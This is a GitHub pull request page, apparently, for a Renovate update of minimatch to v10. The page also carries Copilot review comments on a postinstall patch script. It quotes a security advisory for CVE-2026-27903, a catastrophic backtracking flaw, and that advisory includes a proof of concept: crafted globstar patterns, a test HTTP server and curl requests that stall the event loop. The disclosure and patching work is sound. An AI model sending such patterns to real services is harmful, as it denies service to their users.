Skip to content

chore(deps): update dependency minimatch to v10 [security]#2197

Closed
renovate[bot] wants to merge 12 commits intomainfrom
renovate/npm-minimatch-vulnerability
Closed

chore(deps): update dependency minimatch to v10 [security]#2197
renovate[bot] wants to merge 12 commits intomainfrom
renovate/npm-minimatch-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Mar 1, 2026

This PR contains the following updates:

Package Change Age Confidence
minimatch ^3.1.4^10.0.0 age confidence

GitHub Vulnerability Alerts

CVE-2026-27903

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars) Pattern size Time
7 36 bytes ~154ms
9 46 bytes ~1.2s
11 56 bytes ~5.4s
12 61 bytes ~9.7s
13 66 bytes ~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}

time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.


Release Notes

isaacs/minimatch (minimatch)

v10.2.3

Compare Source

v10.2.2

Compare Source

v10.2.1

Compare Source

v10.2.0

Compare Source

v10.1.3

Compare Source

v10.1.2

Compare Source

v10.1.1

Compare Source

v10.1.0

Compare Source

v10.0.3

Compare Source

v10.0.2

Compare Source

v10.0.1

Compare Source

v10.0.0

Compare Source

v9.0.9

Compare Source

v9.0.8

Compare Source

v9.0.7

Compare Source

v9.0.6

Compare Source

v9.0.5

Compare Source

v9.0.4

Compare Source

v9.0.3

Compare Source

v9.0.2

Compare Source

v9.0.1

Compare Source

v9.0.0

Compare Source

v8.0.7

Compare Source

v8.0.6

Compare Source

v8.0.5

Compare Source

v8.0.4

Compare Source

v8.0.3

Compare Source

v8.0.2

Compare Source

v8.0.1

Compare Source

v8.0.0

Compare Source

v7.4.9

Compare Source

v7.4.8

Compare Source

v7.4.7

Compare Source

v7.4.6

Compare Source

v7.4.5

Compare Source

v7.4.4

Compare Source

v7.4.3

Compare Source

v7.4.2

Compare Source

v7.4.1

Compare Source

v7.4.0

Compare Source

v7.3.0

Compare Source

v7.2.0

Compare Source

v7.1.4

Compare Source

v7.1.3

Compare Source

v7.1.2

Compare Source

v7.1.1

Compare Source

v7.1.0

Compare Source

v7.0.1

Compare Source

v7.0.0

Compare Source

v6.2.3

Compare Source

v6.2.2

Compare Source

v6.2.1

Compare Source

v6.2.0

Compare Source

v6.1.10

Compare Source

v6.1.9

Compare Source

v6.1.8

Compare Source

v6.1.7

Compare Source

v6.1.6

Compare Source

v6.1.5

Compare Source

v6.1.4

Compare Source

v6.1.3

Compare Source

v6.1.2

Compare Source

v6.1.1

Compare Source

v6.1.0

Compare Source

v6.0.4

Compare Source

v6.0.3

Compare Source

v6.0.2

Compare Source

v6.0.1

Compare Source

v6.0.0

Compare Source

v5.1.9

Compare Source

v5.1.8

Compare Source

v5.1.7

Compare Source

v5.1.6

Compare Source

v5.1.5

Compare Source

v5.1.4

Compare Source

v5.1.3

Compare Source

v5.1.2

Compare Source

v5.1.1

Compare Source

v5.1.0

Compare Source

v5.0.1

Compare Source

v5.0.0

Compare Source

v4.2.6

Compare Source

v4.2.5

Compare Source

v4.2.4

Compare Source

v4.2.3

Compare Source

v4.2.2

Compare Source

v4.2.1

Compare Source

v4.2.0

Compare Source

v4.1.1

Compare Source

v4.1.0

Compare Source

v4.0.0

Compare Source


Configuration

📅 Schedule: Branch creation - "" in timezone UTC, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot requested a review from a team as a code owner March 1, 2026 08:26
@github-actions github-actions bot added the config label Mar 1, 2026
@renovate
Copy link
Contributor Author

renovate bot commented Mar 2, 2026

Edited/Blocked Notification

Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.

You can manually request rebase by checking the rebase/retry box above.

⚠️ Warning: custom changes will be lost.

rocketstack-matt and others added 7 commits March 2, 2026 12:16
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copy link
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Updates the workspace dependency graph to use minimatch v10 (addressing the referenced minimatch CVE) and adds an install-time shim to keep downstream tooling working with minimatch’s export changes.

Changes:

  • Adds a root postinstall script to patch @eslint/eslintrc and @vscode/vsce under node_modules for minimatch v10 compatibility.
  • Updates npm overrides to force minimatch v10 across several transitive dependency trees and pins vulnerable minimatch v10 ranges to 10.2.4.
  • Upgrades ESLint to ^10.0.2 (root and calm-server).

Reviewed changes

Copilot reviewed 3 out of 4 changed files in this pull request and generated 5 comments.

File Description
scripts/patch-eslint-minimatch.mjs New postinstall patcher that rewrites node_modules files to handle minimatch v10 export behavior.
package.json Adds postinstall, bumps ESLint to v10, and updates overrides to force minimatch v10 / pin minimatch v10 patch version.
calm-server/package.json Bumps ESLint to v10 for the calm-server workspace.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment on lines 87 to 113
"copyfiles": {
"minimatch": "^3.1.4"
"minimatch": "^10.0.0"
},
"@stoplight/spectral-core": {
"minimatch": "^3.1.4"
"minimatch": "^10.0.0"
},
"eslint": {
"minimatch": "^10.0.0"
},
"eslint-plugin-react": {
"minimatch": "^3.1.4"
"minimatch": "^10.0.0"
},
"eslint-plugin-import": {
"minimatch": "^3.1.4"
"minimatch": "^10.0.0"
},
"commitizen": {
"minimatch": "^3.1.4"
"minimatch": "^10.0.0"
},
"serve-handler": {
"minimatch": "^3.1.4"
"minimatch": "^10.0.0"
},
"npm": {
"minimatch": "^10.2.4"
},
"@vscode/vsce": {
"minimatch": "^3.1.4"
"minimatch": "^10.0.0"
}
Copy link

Copilot AI Mar 2, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

These overrides force minimatch v10 for multiple dependencies that (per the lockfile) still declare minimatch ^3.x. This kind of major-version override can create fragile installs and runtime breakages when upstream packages assume the older CommonJS/default-export behavior. Prefer narrowing overrides to the vulnerable v10 range, or upgrading/replacing the specific upstream packages that need minimatch v10 support (so patches/overrides aren’t carrying API-compat risk).

Copilot uses AI. Check for mistakes.
Comment on lines +5 to +7
if (!fs.existsSync(filePath)) {
throw new Error(`Expected file for ${label} at ${filePath}`);
}
Copy link

Copilot AI Mar 2, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

applyPatch hard-fails the install when the target file isn’t present. Since this script is invoked from the root postinstall, it’s safer to treat missing targets as “package not installed” and skip the patch (or detect the relevant package/version first) so installs with dev dependencies omitted don’t fail unexpectedly.

Copilot uses AI. Check for mistakes.
Comment on lines +37 to +61
const importLine = 'const minimatch_1 = __importDefault(require("minimatch"));';
const oldShim =
'if (typeof minimatch_1.default !== "function" && typeof minimatch_1.default?.minimatch === "function") {\n' +
' minimatch_1.default = minimatch_1.default.minimatch;\n' +
'}';
const newShim =
'if (typeof minimatch_1.default !== "function") {\n' +
' const minimatchFallback = typeof minimatch_1.minimatch === "function"\n' +
' ? minimatch_1.minimatch\n' +
' : (typeof minimatch_1.default?.minimatch === "function" ? minimatch_1.default.minimatch : undefined);\n' +
' if (minimatchFallback) {\n' +
' minimatch_1.default = minimatchFallback;\n' +
' }\n' +
'}';

if (source.includes(newShim)) {
console.log('@vscode/vsce minimatch runtime shim patch already applied');
} else if (source.includes(oldShim)) {
fs.writeFileSync(filePath, source.replace(oldShim, newShim));
console.log('patched @vscode/vsce minimatch runtime shim');
} else if (source.includes(importLine)) {
fs.writeFileSync(filePath, source.replace(importLine, `${importLine}\n${newShim}`));
console.log('patched @vscode/vsce minimatch runtime shim');
} else {
throw new Error('Expected pattern not found for @vscode/vsce minimatch runtime shim');
Copy link

Copilot AI Mar 2, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The @vscode/vsce patching logic relies on exact string matches against compiled output (including indentation and \n newlines) and throws if it can’t find them. This is brittle across vsce updates and may also be sensitive to line-ending differences. Consider version-gating the patch (check @vscode/vsce version) and/or using a more resilient match strategy (eg regex anchored to the relevant AST/statement) to avoid breaking installs on minor upstream changes.

Suggested change
const importLine = 'const minimatch_1 = __importDefault(require("minimatch"));';
const oldShim =
'if (typeof minimatch_1.default !== "function" && typeof minimatch_1.default?.minimatch === "function") {\n' +
' minimatch_1.default = minimatch_1.default.minimatch;\n' +
'}';
const newShim =
'if (typeof minimatch_1.default !== "function") {\n' +
' const minimatchFallback = typeof minimatch_1.minimatch === "function"\n' +
' ? minimatch_1.minimatch\n' +
' : (typeof minimatch_1.default?.minimatch === "function" ? minimatch_1.default.minimatch : undefined);\n' +
' if (minimatchFallback) {\n' +
' minimatch_1.default = minimatchFallback;\n' +
' }\n' +
'}';
if (source.includes(newShim)) {
console.log('@vscode/vsce minimatch runtime shim patch already applied');
} else if (source.includes(oldShim)) {
fs.writeFileSync(filePath, source.replace(oldShim, newShim));
console.log('patched @vscode/vsce minimatch runtime shim');
} else if (source.includes(importLine)) {
fs.writeFileSync(filePath, source.replace(importLine, `${importLine}\n${newShim}`));
console.log('patched @vscode/vsce minimatch runtime shim');
} else {
throw new Error('Expected pattern not found for @vscode/vsce minimatch runtime shim');
const eol = source.includes('\r\n') ? '\r\n' : '\n';
const importLinePattern = /const\s+minimatch_1\s*=\s*__importDefault\(require\("minimatch"\)\);/;
const oldShimPattern =
/if\s*\(typeof\s+minimatch_1\.default\s*!==\s*"function"\s*&&\s*typeof\s+minimatch_1\.default\?\.\minimatch\s*===\s*"function"\)\s*\{\s*minimatch_1\.default\s*=\s*minimatch_1\.default\.minimatch;\s*\}/;
const newShimTemplateLines = [
'if (typeof minimatch_1.default !== "function") {',
' const minimatchFallback = typeof minimatch_1.minimatch === "function"',
' ? minimatch_1.minimatch',
' : (typeof minimatch_1.default?.minimatch === "function" ? minimatch_1.default.minimatch : undefined);',
' if (minimatchFallback) {',
' minimatch_1.default = minimatchFallback;',
' }',
'}'
];
const newShim = newShimTemplateLines.join(eol);
const newShimPattern = new RegExp(
'if\\s*\\(typeof\\s+minimatch_1\\.default\\s*!==\\s*\\"function\\"\\)\\s*\\{[\\s\\S]*?minimatchFallback[\\s\\S]*?minimatch_1\\.default\\s*=\\s*minimatchFallback;[\\s\\S]*?\\}',
'm'
);
if (newShimPattern.test(source)) {
console.log('@vscode/vsce minimatch runtime shim patch already applied');
} else if (oldShimPattern.test(source)) {
const updated = source.replace(oldShimPattern, newShim);
fs.writeFileSync(filePath, updated);
console.log('patched @vscode/vsce minimatch runtime shim (replaced legacy shim)');
} else if (importLinePattern.test(source)) {
const updated = source.replace(importLinePattern, (match) => `${match}${eol}${newShim}`);
fs.writeFileSync(filePath, updated);
console.log('patched @vscode/vsce minimatch runtime shim (added shim after import)');
} else {
console.warn('Warning: could not find expected pattern for @vscode/vsce minimatch runtime shim; skipping patch.');

Copilot uses AI. Check for mistakes.
package.json Outdated
"calm-hub-ui:prod": "npm run prod --workspace calm-hub-ui",
"prepare": "husky"
"prepare": "husky",
"postinstall": "node scripts/patch-eslint-minimatch.mjs"
Copy link

Copilot AI Mar 2, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

postinstall runs for all installs (including npm ci --omit=dev / production-style installs). The patch script currently throws if the target files are missing, which will fail installs where @eslint/eslintrc or @vscode/vsce aren’t present. Consider making the postinstall step conditional (only when those packages are installed) or make the patch script a no-op when the expected files don’t exist.

Suggested change
"postinstall": "node scripts/patch-eslint-minimatch.mjs"
"postinstall": "node scripts/patch-eslint-minimatch.mjs || echo \"Skipping eslint minimatch patch\""

Copilot uses AI. Check for mistakes.
"commitizen": "^4.3.0",
"cz-conventional-changelog": "^3.3.0",
"eslint": "^9.39.2",
"eslint": "^10.0.2",
Copy link

Copilot AI Mar 2, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The PR metadata indicates this is a minimatch security update, but this change also bumps ESLint to a new major version. Please update the PR description/changelog notes to reflect the ESLint major upgrade (or split it into a separate PR) since it can have non-trivial config/behavior impact.

Copilot uses AI. Check for mistakes.
@rocketstack-matt rocketstack-matt marked this pull request as draft March 2, 2026 14:05
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copy link
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot encountered an error and was unable to review this pull request. You can try again by re-requesting a review.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copy link
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 8 out of 9 changed files in this pull request and generated 2 comments.


💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

"@vscode/vsce": {
"minimatch": "^3.1.4"
"npm": {
"minimatch": "^10.2.4"
Copy link

Copilot AI Mar 2, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The overrides block no longer addresses eslint-plugin-import (used by calm-plugins/vscode) and @vscode/vsce, and package-lock still resolves minimatch@3.1.5 under those packages. If the intent is to move all consumers to minimatch v10 for the security fix, add/update overrides (or bump those packages) so they no longer pull minimatch v3; otherwise, clarify the intended scope in this PR.

Suggested change
"minimatch": "^10.2.4"
"minimatch": "^10.2.4"
},
"eslint-plugin-import": {
"minimatch": "^10.0.0"
},
"@vscode/vsce": {
"minimatch": "^10.0.0"

Copilot uses AI. Check for mistakes.
"@vscode/dts": "^0.4.1",
"@vscode/vsce": "^3.7.1",
"copyfiles": "^2.4.1",
"eslint": "^10.0.2",
Copy link

Copilot AI Mar 2, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Adding ESLint ^10.0.2 here combined with eslint-plugin-import ^2.32.0 is likely incompatible: eslint-plugin-import declares a peerDependency up to ESLint v9 (per package-lock), and it also brings in minimatch@3.1.5 in this workspace. Please upgrade eslint-plugin-import to a version that supports ESLint v10 (and ideally minimatch v10), or pin ESLint to a compatible major for this workspace.

Suggested change
"eslint": "^10.0.2",
"eslint": "^9.0.0",

Copilot uses AI. Check for mistakes.
@rocketstack-matt rocketstack-matt deleted the renovate/npm-minimatch-vulnerability branch March 2, 2026 16:20
@renovate
Copy link
Contributor Author

renovate bot commented Mar 2, 2026

Renovate Ignore Notification

Because you closed this PR without merging, Renovate will ignore this update. You will not get PRs for any future 10.x releases. But if you manually upgrade to 10.x then Renovate will re-enable minor and patch updates automatically.

If you accidentally closed this PR, or if you changed your mind: rename this PR to get a fresh replacement PR.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants